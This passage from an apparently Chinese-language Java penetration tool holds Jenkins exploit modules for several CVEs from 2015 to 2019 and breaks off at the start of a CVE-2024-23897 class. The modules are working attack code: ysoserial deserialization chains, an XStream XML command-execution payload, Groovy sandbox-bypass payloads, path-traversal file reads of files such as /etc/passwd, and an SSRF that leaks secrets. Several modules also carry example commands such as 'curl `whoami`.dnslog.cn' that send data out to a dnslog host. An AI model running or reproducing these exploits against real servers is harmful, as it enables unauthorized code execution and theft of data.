(反序列化的利用链|执行的命令),反序列化利用链列表:\nBeanShell1,C3P0,Click1,Clojure,CommonsBeanutils1,CommonsCollections1,CommonsCollections2,CommonsCollections3,CommonsCollections4,CommonsCollections5,CommonsCollections6,CommonsCollections7,FileUpload1,Groovy1,Hibernate1,Hibernate2,JBossInterceptors1,JRMPClient,JRMPListener,JSON1,JavassistWeld1,Jdk7u21,Jython1,MozillaRhino1,MozillaRhino2,Myfaces1,Myfaces2,ROME,Spring1,Spring2,URLDNS,Vaadin1,Wicket1"; 36 | if(compareVersion(version,"1.638","1.625.2")){ 37 | String random = getRandomString(3); 38 | this.isVul = true; 39 | this.exeCmd("CommonsCollections5|ping -w 1 "+random+"."+dnslog,"UTF-8"); 40 | if(dnslog_verify(dnslogSetting,random)){ 41 | return "[+] 目标版本处于漏洞版本之内, 且经过dnslog api测试, 可能存在"+basic; 42 | }else { 43 | //排除目标有curl无ping命令的情况 44 | this.exeCmd("CommonsCollections5|curl "+random+"."+dnslog,"UTF-8"); 45 | if(dnslog_verify(dnslogSetting,random)){ 46 | return "[+] 目标版本处于漏洞版本之内, 且经过dnslog api测试, 可能存在"+basic; 47 | }else { 48 | return "[?] 目标版本处于漏洞版本之内, 但未经过dnslog api测试, 可能是api限制请求频率,dnslog日志累计过多,没有ping和curl命令,目标不出网,当前网络不流畅等原因, 不一定不存在漏洞 " + basic; 49 | } 50 | } 51 | }else { 52 | return "[-] 目标版本处于漏洞版本之外, 可能不存在" + basic; 53 | } 54 | } 55 | 56 | @Override 57 | public String exeCmd(String cmd, String encoding) { 58 | String regex = "(BeanShell1|C3P0|Click1|Clojure|CommonsBeanutils1|CommonsCollections1|CommonsCollections2|CommonsCollections3|CommonsCollections4|CommonsCollections5|CommonsCollections6|CommonsCollections7|FileUpload1|Groovy1|Hibernate1|Hibernate2|JBossInterceptors1|JRMPClient|JRMPListener|JSON1|JavassistWeld1|Jdk7u21|Jython1|MozillaRhino1|MozillaRhino2|Myfaces1|Myfaces2|ROME|Spring1|Spring2|URLDNS|Vaadin1|Wicket1).*\\|.*"; 59 | Pattern pattern = Pattern.compile(regex); 60 | Matcher matcher = pattern.matcher(cmd); 61 | if (!matcher.matches()) { 62 | return "提供的利用链,执行的命令格式不对,eg:CommonsCollections1|curl dnslog.cn,command允许有特殊字符,eg:curl `whoami`.dnslog.cn"; 63 | } 64 | String[] all = cmd.split("\\|",2); 65 | String poc = all[0]; 66 | String command = all[1]; 67 | String command1 = String.format("java -jar ysoserial-all.jar %s \"%s\"",poc,command); 68 | System.out.println("exp: "+command1); 69 | pattern = Pattern.compile("\"[^\"]+\"|\\S+"); 70 | matcher = pattern.matcher(command1); 71 | List parts = new ArrayList<>(); 72 | String part = ""; 73 | while (matcher.find()) { 74 | part = matcher.group(); 75 | parts.add(part); 76 | } 77 | File file = new File("payload.ser"); 78 | ProcessBuilder processBuilder = new ProcessBuilder(parts); 79 | processBuilder.redirectOutput(file); 80 | try { 81 | Process process1 = processBuilder.start(); 82 | regex = "http://([^/:]+)(?::(\\d+))?"; 83 | pattern = Pattern.compile(regex); 84 | matcher = pattern.matcher(url); 85 | String domain = ""; 86 | String port = ""; 87 | if (matcher.find()) { 88 | domain = matcher.group(1); 89 | port = matcher.group(2); 90 | if (port == null) { 91 | port = "80"; 92 | } 93 | } 94 | process1.waitFor(10, TimeUnit.SECONDS); 95 | String os = jenkins_info.getSystem(); 96 | String exp=""; 97 | if(os.contains("win")){ 98 | exp = "CVE_2015_8103.exe"; 99 | }else{ 100 | exp = "./CVE_2015_8103"; 101 | } 102 | String command2 = String.format("%s %s %s payload.ser",exp,domain,port); 103 | System.out.println("exp: "+command2); 104 | Process process2 = Runtime.getRuntime().exec(command2); 105 | process2.waitFor(10, TimeUnit.SECONDS); 106 | } catch (IOException | InterruptedException e) { 107 | e.printStackTrace(); 108 | } 109 | return "无回显命令执行,请自行验证"; 110 | } 111 | 112 | @Override 113 | public boolean isVul() { 114 | return this.isVul; 115 | } 116 | 117 | } -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/jenkins/CVE_2016_0792.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.jenkins; 2 | 3 | import fun.fireline.core.ExploitInterface; 4 | import fun.fireline.exp.tools.dnslogSetting; 5 | import fun.fireline.tools.Jenkins_Info; 6 | import org.apache.http.client.methods.CloseableHttpResponse; 7 | import org.apache.http.client.methods.HttpHead; 8 | import org.apache.http.client.methods.HttpPost; 9 | import org.apache.http.entity.StringEntity; 10 | import org.apache.http.impl.client.CloseableHttpClient; 11 | import org.apache.http.impl.client.HttpClients; 12 | 13 | import java.io.IOException; 14 | import java.math.BigDecimal; 15 | import java.util.Random; 16 | 17 | import static fun.fireline.tools.Tools.*; 18 | 19 | public class CVE_2016_0792 implements ExploitInterface { 20 | 21 | private String url = ""; 22 | private boolean isVul = false; 23 | private Jenkins_Info jenkins_info = new Jenkins_Info(); 24 | private dnslogSetting dnslogSetting = new dnslogSetting(); 25 | 26 | @Override 27 | public String checkVul(String url) { 28 | this.url = url; 29 | String version = jenkins_info.get_Jenkions_Info(url); 30 | if(version==null){ 31 | return "[-] 目标非Jenkins"; 32 | } 33 | String dnslog = dnslogSetting.getDomain(); 34 | if(dnslog==null){ 35 | return "请进行dnslog配置"; 36 | } 37 | String basic = "CVE-2016-0792 Jenkins 反序列化无回显远程代码执行,请从文件读取/命令执行模块进行判断 eg:curl dnslog.cn (command)"; 38 | if(compareVersion(version,"1.650","1.642.2")){ 39 | String random = getRandomString(3); 40 | this.isVul = true; 41 | exploit(url,"ping -w 1 "+random+"."+dnslog); 42 | if(dnslog_verify(dnslogSetting,random)){ 43 | return "[+] 目标版本处于漏洞版本之内, 且经过dnslog api测试, 可能存在"+basic; 44 | }else { 45 | //排除目标有curl无ping命令的情况 46 | exploit(url,"curl "+random+"."+dnslog); 47 | if(dnslog_verify(dnslogSetting,random)) { 48 | return "[+] 目标版本处于漏洞版本之内, 且经过dnslog api测试, 可能存在" + basic; 49 | }else { 50 | return "[?] 目标版本处于漏洞版本之内, 但未经过dnslog api测试, 可能是api限制请求频率,dnslog日志累计过多,没有ping和curl命令,目标不出网,当前网络不流畅等原因, 不一定不存在漏洞 " + basic; 51 | } 52 | } 53 | }else { 54 | return "[-] 目标版本处于漏洞版本之外, 可能不存在" + basic; 55 | } 56 | } 57 | 58 | @Override 59 | public String exeCmd(String cmd, String encoding) { 60 | exploit(this.url, cmd); 61 | return "无回显命令执行,请自行验证"; 62 | } 63 | 64 | 65 | @Override 66 | public boolean isVul() { 67 | return this.isVul; 68 | } 69 | 70 | public static void exploit(String url, String command) { 71 | System.out.println("[*] STARTING"); 72 | try { 73 | System.out.println("[+] Trying to exploit Jenkins running at address: " + url); 74 | // Perform initial URL check to see if server is online and returns correct response code using HEAD request 75 | CloseableHttpClient httpClient = HttpClients.createDefault(); 76 | HttpHead httpHead = new HttpHead(url); 77 | CloseableHttpResponse headResponse = httpClient.execute(httpHead); 78 | if (headResponse.getStatusLine().getStatusCode() == 200) { 79 | System.out.println("[+] Server online and responding | RESPONSE: " + headResponse.getStatusLine().getStatusCode()); 80 | // Check if X-Jenkins header containing version is present then proceed 81 | String jenkinsVersionHeader = headResponse.getFirstHeader("X-Jenkins").getValue(); 82 | if (jenkinsVersionHeader != null) { 83 | // Strip version after second dot from header to perform conversion to BigDecimal 84 | String strippedVersion = jenkinsVersionHeader.split("\\.")[0] + "." + jenkinsVersionHeader.split("\\.")[1]; 85 | // Perform basic version check 86 | if (new BigDecimal(strippedVersion).compareTo(new BigDecimal("1.650")) < 0) { 87 | System.out.println("[+] Jenkins version: " + strippedVersion + " | VULNERABLE"); 88 | // Prepare payload 89 | String payload = preparePayload(command); 90 | // Prepare POST url 91 | String randomJobName = generateRandomJobName(); 92 | String postUrl = url.endsWith("/") ? url + "createItem?name=" + randomJobName : url + "/createItem?name=" + randomJobName; 93 | System.out.println("[+] Will POST to " + postUrl); 94 | // Try to execute passed command 95 | HttpPost httpPost = new HttpPost(postUrl); 96 | httpPost.setHeader("Content-Type", "application/xml"); 97 | httpPost.setEntity(new StringEntity(payload)); 98 | CloseableHttpResponse postResponse = httpClient.execute(httpPost); 99 | System.out.println("[+] Exploit launched "); 100 | // 500 response code is ok here 101 | System.out.println("[+] Response code: " + postResponse.getStatusLine().getStatusCode()); 102 | if (postResponse.getStatusLine().getStatusCode() == 500) { 103 | System.out.println("[+] SUCCESS"); 104 | } else { 105 | System.out.println("[-][ERROR] EXPLOIT LAUNCHED, BUT WRONG RESPONSE CODE RETURNED"); 106 | } 107 | } else { 108 | System.out.println("[-][ERROR] Version " + strippedVersion + " is not vulnerable"); 109 | } 110 | } else { 111 | System.out.println("[-][ERROR] X-Jenkins header not present, check if Jenkins is actually running at " + url); 112 | } 113 | } else { 114 | System.out.println("[-][ERROR] " + url + " Server did not return success response code | RESPONSE: " + headResponse.getStatusLine().getStatusCode()); 115 | } 116 | httpClient.close(); 117 | } catch (IOException ex) { 118 | System.out.println("[-] [ERROR] Request exception: " + ex.getMessage()); 119 | } 120 | System.out.println("[*] FINISHED"); 121 | } 122 | 123 | public static String preparePayload(String command) { 124 | String[] splitCommand = command.split(" "); 125 | StringBuilder preparedCommands = new StringBuilder(); 126 | for (String entry : splitCommand) { 127 | preparedCommands.append("").append(entry).append(""); 128 | } 129 | String xml = "\n" + 130 | " \n" + 131 | " \n" + 132 | " \n" + 133 | " \n" + 134 | " hashCode\n" + 135 | " \n" + 136 | " \n" + 137 | " \n" + 138 | " " + preparedCommands + "\n" + 139 | " \n" + 140 | " start\n" + 141 | " \n" + 142 | " \n" + 143 | " \n" + 144 | " \n" + 145 | " 1\n" + 146 | " \n" + 147 | ""; 148 | return xml; 149 | } 150 | 151 | public static String generateRandomJobName() { 152 | String characters = "abcdefghijklmnopqrstuvwxyz0123456789"; 153 | StringBuilder sb = new StringBuilder(); 154 | Random random = new Random(); 155 | for (int i = 0; i < 8; i++) { 156 | int index = random.nextInt(characters.length()); 157 | sb.append(characters.charAt(index)); 158 | } 159 | return sb.toString(); 160 | } 161 | } 162 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/jenkins/CVE_2017_1000353.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.jenkins; 2 | 3 | import fun.fireline.core.ExploitInterface; 4 | import fun.fireline.exp.tools.dnslogSetting; 5 | import fun.fireline.tools.Jenkins_Info; 6 | 7 | import static fun.fireline.exp.tools.Payload.exploit; 8 | import static fun.fireline.tools.Tools.*; 9 | 10 | 11 | public class CVE_2017_1000353 implements ExploitInterface { 12 | 13 | private String url = ""; 14 | private boolean isVul = false; 15 | private Jenkins_Info jenkins_info = new Jenkins_Info(); 16 | private dnslogSetting dnslogSetting = new dnslogSetting(); 17 | 18 | @Override 19 | public String checkVul(String url) throws Exception { 20 | this.url = url; 21 | String version = jenkins_info.get_Jenkions_Info(url); 22 | if(version==null){ 23 | return "[-] 目标非Jenkins"; 24 | } 25 | String dnslog = dnslogSetting.getDomain(); 26 | if(dnslog==null){ 27 | return "请进行dnslog配置"; 28 | } 29 | String basic = "CVE-2017-1000353 Jenkins-CI 无回显远程代码执行漏洞,请从文件读取/命令执行模块自行判断 eg: curl dnslog.cn (command)"; 30 | if(compareVersion(version,"2.56","2.46.1")){ 31 | String random = getRandomString(3); 32 | this.isVul = true; 33 | this.exeCmd("ping -w 1 "+random+"."+dnslog,"UTF-8"); 34 | if(dnslog_verify(dnslogSetting,random)){ 35 | return "[+] 目标版本处于漏洞版本之内, 且经过dnslog api测试, 可能存在"+basic; 36 | }else { 37 | //排除目标有curl无ping命令的情况 38 | this.exeCmd("curl "+random+"."+dnslog,"UTF-8"); 39 | if(dnslog_verify(dnslogSetting,random)){ 40 | return "[+] 目标版本处于漏洞版本之内, 且经过dnslog api测试, 可能存在"+basic; 41 | }else { 42 | return "[?] 目标版本处于漏洞版本之内, 但未经过dnslog api测试, 可能是api限制请求频率,dnslog日志累计过多,没有ping和curl命令,目标不出网,当前网络不流畅等原因, 不一定不存在漏洞 " + basic; 43 | } 44 | } 45 | } 46 | return "[-] 目标版本处于漏洞版本之外, 可能不存在"+basic; 47 | } 48 | 49 | @Override 50 | public String exeCmd(String cmd, String encoding) throws Exception { 51 | exploit(cmd); 52 | String os = jenkins_info.getSystem(); 53 | String exp = ""; 54 | if(os.contains("win")){ 55 | exp = "CVE_2017_1000353.exe"; 56 | }else{ 57 | exp = "./CVE_2017_1000353"; 58 | } 59 | String command = String.format("%s %s payload2.ser",exp,this.url); 60 | System.out.println(command); 61 | Process process = Runtime.getRuntime().exec(command); 62 | process.waitFor(); 63 | return "无回显命令执行,请自行验证"; 64 | } 65 | 66 | @Override 67 | public boolean isVul() { 68 | return this.isVul; 69 | } 70 | 71 | } -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/jenkins/CVE_2018_1000600.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.jenkins; 2 | 3 | import fun.fireline.core.ExploitInterface; 4 | import fun.fireline.exp.tools.dnslogSetting; 5 | import fun.fireline.tools.HttpTools; 6 | import fun.fireline.tools.Jenkins_Info; 7 | import fun.fireline.tools.Response; 8 | 9 | import java.util.HashMap; 10 | 11 | import static fun.fireline.tools.Tools.dnslog_verify; 12 | import static fun.fireline.tools.Tools.getRandomString; 13 | 14 | public class CVE_2018_1000600 implements ExploitInterface { 15 | 16 | private String exp = "/securityRealm/user/username/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl="; 17 | private String url = ""; 18 | private boolean isVul = false; 19 | private HashMap headers = new HashMap<>(); 20 | private Jenkins_Info jenkins_info = new Jenkins_Info(); 21 | private dnslogSetting dnslogSetting = new dnslogSetting(); 22 | 23 | @Override 24 | public String checkVul(String url) { 25 | this.url = url; 26 | String version = jenkins_info.get_Jenkions_Info(url); 27 | if(version==null){ 28 | return "[-] 目标非Jenkins"; 29 | } 30 | String dnslog = dnslogSetting.getDomain(); 31 | if(dnslog==null){ 32 | return "请进行dnslog配置"; 33 | } 34 | String random = getRandomString(3); 35 | this.exeCmd("test","UTF-8"); 36 | if(dnslog_verify(dnslogSetting,random)){ 37 | this.isVul = true; 38 | return "[+] 目标可能存在CVE-2018-1000600 Jenkins GitHub SSRF+信息泄露漏洞,已经测试出一个存在的用户名test,可以在"+random+"."+dnslog+"获取到敏感信息,请在文件读取/命令执行模块提供用户名 eg:test"; 39 | } 40 | return "[?] 目标可能存在CVE-2018-1000600 Jenkins GitHub SSRF+信息泄露漏洞,但需要提供一个已经存在用户名,请在文件读取/命令执行模块提供用户名进行验证 eg:user1 (username)"; 41 | } 42 | 43 | @Override 44 | public String exeCmd(String cmd, String encoding) { 45 | exp = exp.replace("username",cmd); 46 | String dnslog = dnslogSetting.getDomain(); 47 | String random = getRandomString(3); 48 | Response response = HttpTools.get(this.url+exp+random+"."+dnslog,this.headers,"UTF-8"); 49 | if(response.getCode()==200){ 50 | if(response.getText().contains("Created")){ 51 | return "SSRF成功,请从"+random+"."+dnslog+"接受泄露的信息"; 52 | } 53 | } 54 | return "SSRF失败,该目标可能不存在CVE-2018-1000600 Jenkins GitHub SSRF+信息泄露漏洞"; 55 | } 56 | 57 | @Override 58 | public boolean isVul() { 59 | return this.isVul; 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/jenkins/CVE_2018_1000861.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.jenkins; 2 | 3 | import fun.fireline.core.ExploitInterface; 4 | import fun.fireline.exp.tools.dnslogSetting; 5 | import fun.fireline.tools.HttpTools; 6 | import fun.fireline.tools.Jenkins_Info; 7 | import fun.fireline.tools.Response; 8 | 9 | import java.io.UnsupportedEncodingException; 10 | import java.net.URLEncoder; 11 | import java.util.HashMap; 12 | 13 | import static fun.fireline.tools.Tools.dnslog_verify; 14 | import static fun.fireline.tools.Tools.getRandomString; 15 | 16 | public class CVE_2018_1000861 implements ExploitInterface { 17 | 18 | private HashMap headers = new HashMap(); 19 | private String url = ""; 20 | private boolean isVul = false; 21 | private Jenkins_Info jenkins_info = new Jenkins_Info(); 22 | private dnslogSetting dnslogSetting = new dnslogSetting(); 23 | private String payload1 = "/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value="; 24 | private String payload2 = "/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value="; 25 | 26 | 27 | @Override 28 | public String checkVul(String url) { 29 | this.url = url; 30 | String version = jenkins_info.get_Jenkions_Info(url); 31 | if(version==null){ 32 | return "[-] 目标非Jenkins"; 33 | } 34 | String dnslog = dnslogSetting.getDomain(); 35 | if(dnslog==null){ 36 | return "请进行dnslog配置"; 37 | } 38 | Response response1 = HttpTools.get(url+this.payload1,this.headers,"UTF-8"); 39 | Response response2 = HttpTools.get(url+this.payload2,this.headers,"UTF-8"); 40 | if(response1.getCode()==200||response2.getCode()==200){ 41 | if(response1.getText().equals("
")||response2.getText().equals("
")){ 42 | this.isVul = true; 43 | String random = getRandomString(3); 44 | this.exeCmd("admin|ping -w 1 "+random+"."+dnslog,"UTF-8"); 45 | String basic = "目标可能存在CVE-2018-1000861 绕过Groovy沙盒未授权命令执行漏洞,请从文件读取/命令执行模块进行无回显命令执行测试 \n\t eg:admin|curl dnslog.cn or test1|curl dnslog.cn or test2|curl dnslog.cn"; 46 | if(dnslog_verify(dnslogSetting,random)){ 47 | return "[+] 经过dnslog api测试, "+basic; 48 | }else { 49 | //排除目标有curl无ping命令的情况 50 | this.exeCmd("admin|curl "+random+"."+dnslog,"UTF-8"); 51 | if(dnslog_verify(dnslogSetting,random)){ 52 | return "[+] 经过dnslog api测试, "+basic; 53 | }else { 54 | return "[?] 未经过dnslog api测试, 可能是api限制请求频率,dnslog日志累计过多,目标不出网,当前网络不流畅等原因, 不一定不存在漏洞 "; 55 | } 56 | } 57 | } 58 | } 59 | return "[-] 目标可能不存在CVE-2018-1000861 绕过Groovy沙盒未授权命令执行漏洞"; 60 | } 61 | 62 | @Override 63 | public String exeCmd(String cmd, String encoding) { 64 | if(!cmd.startsWith("admin|")&&!cmd.startsWith("test1|")&&!cmd.startsWith("test2")){ 65 | return "命令格式: admin|curl dnslog.cn or test1|curl dnslog.cn or test2|curl dnslog.cn"; 66 | } 67 | int Index = cmd.indexOf("|"); 68 | String user = cmd.substring(0,Index); 69 | cmd = cmd.substring(Index+1); 70 | String exp = ""; 71 | String payload = ""; 72 | if(user.equals("admin")){ 73 | exp = "public class x {public x(){\"payload\".execute()}}"; 74 | payload = payload1; 75 | }else if(user.equals("test1")){ 76 | exp = "import groovy.transform.*\n" + 77 | "@ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"payload\")})\n" + 78 | "class Person{}"; 79 | payload = payload2; 80 | }else if(user.equals("test2")){ 81 | exp = "import groovy.transform.*\n" + 82 | "@ASTTest(value={ \"payload\".execute().text })\n" + 83 | "class Person{}"; 84 | payload = payload2; 85 | } 86 | String exp2 = exp.replace("payload",cmd); 87 | try { 88 | Response response = HttpTools.get(url + payload + URLEncoder.encode(exp2,"UTF-8"), this.headers, "UTF-8"); 89 | } catch (UnsupportedEncodingException e) { 90 | e.printStackTrace(); 91 | } 92 | return "无回显命令执行,请自行进行验证"; 93 | } 94 | 95 | @Override 96 | public boolean isVul() { 97 | return this.isVul; 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/jenkins/CVE_2018_1999002.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.jenkins; 2 | 3 | import fun.fireline.core.ExploitInterface; 4 | import fun.fireline.tools.HttpTools; 5 | import fun.fireline.tools.Jenkins_Info; 6 | import fun.fireline.tools.Response; 7 | 8 | import java.util.HashMap; 9 | 10 | public class CVE_2018_1999002 implements ExploitInterface { 11 | 12 | private String url = ""; 13 | private boolean isVul = false; 14 | private HashMap headers = new HashMap<>(); 15 | private String[] pluginList = {"credentials","jquery-detached","git","blueocean","jira","github"}; 16 | private String use_plugin = ""; 17 | private Jenkins_Info jenkins_info = new Jenkins_Info(); 18 | 19 | @Override 20 | public String checkVul(String url) { 21 | this.url = url; 22 | String version = jenkins_info.get_Jenkions_Info(url); 23 | if(version==null){ 24 | return "[-] 目标非Jenkins"; 25 | } 26 | this.headers.put("Host", url.replace("http://","").replace("https://","").replace("/","")); 27 | this.headers.put("Accept", "text/javascript, text/html, application/xml, text/xml, */*"); 28 | this.headers.put("X-Prototype-Version", "1.7"); 29 | this.headers.put("DNT", "1"); 30 | this.headers.put("X-Requested-With", "XMLHttpRequest"); 31 | this.headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36"); 32 | this.headers.put("Origin", url); 33 | this.headers.put("Referer", url); 34 | this.headers.put("Accept-Encoding", "gzip, deflate"); 35 | this.headers.put("Accept-Language", "/../../../../../../../../windows/win"); 36 | this.headers.put("Cookie", "JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971"); 37 | this.headers.put("Connection", "close"); 38 | for(String plugin:this.pluginList) { 39 | Response response = HttpTools.get(url + "/plugin/"+plugin+"/.ini", this.headers, "UTF-8"); 40 | if (response.getCode() == 200) { 41 | if (response.getText().contains("Window")) { 42 | this.use_plugin = plugin; 43 | this.isVul = true; 44 | return "[+] 目标可能存在CVE-2018-1999002 Jenkins 任意文件读取漏洞,请从文件读取/命令执行模块输入文件名读取文件,eg: c:/windows/win.ini或/etc/passwd"; 45 | } 46 | } 47 | } 48 | return "[-] 目标可能不存在CVE-2018-1999002 Jenkins 任意文件读取漏洞"; 49 | } 50 | 51 | @Override 52 | public String exeCmd(String cmd, String encoding) { 53 | this.headers.remove("Accept-Language"); 54 | int dotIndex = cmd.lastIndexOf("."); 55 | String extension = cmd.substring(dotIndex); 56 | this.headers.put("Accept-Language", "/../../../../../../../../"+cmd.substring(0,dotIndex)); 57 | Response response = HttpTools.get(url+"/plugin/"+this.use_plugin+"/"+extension,this.headers,"UTF-8"); 58 | if(response.getCode()==200){ 59 | return "读取"+cmd+"内容:\n"+response.getText(); 60 | }else { 61 | return "读取"+cmd+"内容失败"; 62 | } 63 | } 64 | 65 | 66 | @Override 67 | public boolean isVul() { 68 | return this.isVul; 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/jenkins/CVE_2019_1003000.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.jenkins; 2 | 3 | import fun.fireline.core.ExploitInterface; 4 | import fun.fireline.tools.Jenkins_Info; 5 | 6 | import java.io.BufferedReader; 7 | import java.io.IOException; 8 | import java.io.InputStreamReader; 9 | import java.util.concurrent.TimeUnit; 10 | import java.util.regex.Matcher; 11 | import java.util.regex.Pattern; 12 | 13 | public class CVE_2019_1003000 implements ExploitInterface { 14 | 15 | private String url = ""; 16 | private boolean isVul = false; 17 | private Jenkins_Info jenkins_info = new Jenkins_Info(); 18 | 19 | @Override 20 | public String checkVul(String url) { 21 | this.url = url; 22 | String version = jenkins_info.get_Jenkions_Info(url); 23 | if(version==null){ 24 | return "[-] 目标非Jenkins"; 25 | } 26 | this.isVul = true; 27 | return "[?] 目标可能存在CVE-2019-1003000 Jenkins 远程代码执行,但需要提供job,username,password参数,请从文件读取/命令执行模块进行判断 eg: user1|user1|my-pipeline|ls (username|password|jobname|command)"; 28 | } 29 | 30 | @Override 31 | public String exeCmd(String cmd, String encoding) { 32 | String regex = "^[a-zA-Z0-9]+\\s*\\|\\s*[a-zA-Z0-9]+\\s*\\|\\s*[a-zA-Z0-9-]+\\s*\\|\\s*.+\\s*$"; 33 | Pattern pattern = Pattern.compile(regex); 34 | Matcher matcher = pattern.matcher(cmd); 35 | if(!matcher.matches()){ 36 | return "提供的job,username,password参数格式不对,eg: user1|user1|my-pipeline|ls (username|password|jobname|command)"; 37 | } 38 | String[] all = cmd.split("\\|",4); 39 | String username = all[0]; 40 | String password = all[1]; 41 | String jobname = all[2]; 42 | String execute = all[3]; 43 | String os = jenkins_info.getSystem(); 44 | String poc = " --url %s --job %s --username %s --password %s --cmd \"%s\""; 45 | String line = ""; 46 | String lines = ""; 47 | String exp = ""; 48 | try{ 49 | if(os.contains("win")){ 50 | exp = "CVE_2019_1003000.exe"; 51 | }else{ 52 | exp = "./CVE_2019_1003000"; 53 | } 54 | exp = exp + String.format(poc,url,jobname,username,password,execute); 55 | System.out.println("exp: "+exp); 56 | Process process = Runtime.getRuntime().exec(exp); 57 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 58 | while ((line = reader.readLine()) != null) { 59 | lines += line + "\n"; 60 | } 61 | process.waitFor(30, TimeUnit.SECONDS); 62 | if (!lines.contains("OUTPUT")) { 63 | return "命令执行失败,有以下可能:username,password,jobname错误,或者该目标不存在CVE-2019-1003000漏洞"; 64 | } 65 | if (lines.contains("Finished: SUCCESS")) { 66 | String startDelimiter = "\\[Pipeline\\] echo"; 67 | String endDelimiter = "\\[Pipeline\\] End of Pipeline"; 68 | pattern = Pattern.compile(startDelimiter + "(.*?)" + endDelimiter, Pattern.DOTALL); 69 | matcher = pattern.matcher(lines); 70 | String content = ""; 71 | if (matcher.find()) { 72 | content = matcher.group(1).trim(); 73 | } 74 | return "命令执行成功:\n" + content; 75 | } else if (lines.contains("Finished: FAILURE")) { 76 | String content = ""; 77 | String[] lines2 = lines.split("\n"); 78 | for (int i = 0; i < lines2.length; i++) { 79 | if (lines2[i].startsWith("[Pipeline] End of Pipeline")) { 80 | if (i + 2 < lines2.length) { 81 | content = lines2[i + 2]; 82 | } 83 | break; 84 | } 85 | } 86 | return "命令执行失败:\n" + content; 87 | } 88 | } catch (IOException | InterruptedException e) { 89 | e.printStackTrace(); 90 | } 91 | return "命令执行失败,有以下可能:username,password,jobname错误,或者该目标不存在CVE-2019-1003000漏洞"; 92 | } 93 | 94 | 95 | @Override 96 | public boolean isVul() { 97 | return this.isVul; 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/jenkins/CVE_2019_1003005.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.jenkins; 2 | 3 | import fun.fireline.core.ExploitInterface; 4 | import fun.fireline.exp.tools.dnslogSetting; 5 | import fun.fireline.tools.Jenkins_Info; 6 | 7 | import java.io.IOException; 8 | 9 | import static fun.fireline.tools.Tools.*; 10 | 11 | public class CVE_2019_1003005 implements ExploitInterface { 12 | 13 | private String url = ""; 14 | private boolean isVul = false; 15 | private Jenkins_Info jenkins_info = new Jenkins_Info(); 16 | private dnslogSetting dnslogSetting = new dnslogSetting(); 17 | 18 | @Override 19 | public String checkVul(String url) { 20 | this.url = url; 21 | String version = jenkins_info.get_Jenkions_Info(url); 22 | if(version==null){ 23 | return "[-] 目标非Jenkins"; 24 | } 25 | String dnslog = dnslogSetting.getDomain(); 26 | if(dnslog==null){ 27 | return "请进行dnslog配置"; 28 | } 29 | String basic = "CVE-2019-1003005/CVE-2019-1003029 无回显远程代码执行(Script Security Plugin沙箱绕过),请从文件读取/命令执行模块自行判断 eg: curl dnslog.cn (command)"; 30 | if(compare2(version,"2.53")==0||compare2(version,"2.122")==0||compare2(version,"2.137")==0||compare2(version,"2.138")==0||compare2(version,"2.152")==0||compare2(version,"2.153")==0){ 31 | String random = getRandomString(3); 32 | this.isVul = true; 33 | this.exeCmd("ping -w 1 "+random+"."+dnslog,"UTF-8"); 34 | if(dnslog_verify(dnslogSetting,random)){ 35 | return "[+] 目标版本处于漏洞版本之内, 且经过dnslog api测试, 可能存在"+basic; 36 | }else { 37 | //排除目标有curl无ping命令的情况 38 | this.exeCmd("curl "+random+"."+dnslog,"UTF-8"); 39 | if(dnslog_verify(dnslogSetting,random)){ 40 | return "[+] 经过dnslog api测试, "+basic; 41 | }else { 42 | return "[?] 目标版本处于漏洞版本之内, 但未经过dnslog api测试, 可能是api限制请求频率,dnslog日志累计过多,目标不出网,当前网络不流畅等原因, 不一定不存在漏洞 " + basic; 43 | } 44 | } 45 | } 46 | return "[-] 目标版本处于漏洞版本之外, 不存在"+basic; 47 | } 48 | 49 | @Override 50 | public String exeCmd(String cmd, String encoding) { 51 | String os = jenkins_info.getSystem(); 52 | String exp = ""; 53 | if(os.contains("win")){ 54 | exp = "CVE_2019_1003005.exe"; 55 | }else{ 56 | exp = "./CVE_2019_1003005"; 57 | } 58 | try { 59 | String command = String.format("%s %s \"%s\"",exp,this.url,cmd); 60 | Process process = Runtime.getRuntime().exec(command); 61 | System.out.println("exp: "+command); 62 | process.waitFor(); 63 | } catch (InterruptedException | IOException e) { 64 | e.printStackTrace(); 65 | } 66 | return "无回显命令执行,请自行验证"; 67 | } 68 | 69 | @Override 70 | public boolean isVul() { 71 | return this.isVul; 72 | } 73 | } -------------------------------------------------------------------------------- /src/main/java/fun/fireline/exp/jenkins/CVE_2024_23897.java: -------------------------------------------------------------------------------- 1 | package fun.fireline.exp.jenkins; 2 | 3 | import fun.fireline.core.ExploitInterface; 4 | import fun.fireline.tools.Jenkins_Info; 5 | 6 | import java.io.BufferedReader; 7 | import java.io.IOException; 8 | import java.io.InputStreamReader; 9 | import java.util.concurrent.TimeUnit; 10 | import java.util.regex.Matcher; 11 | import java.util.regex.Pattern; 12 | 13 | public class 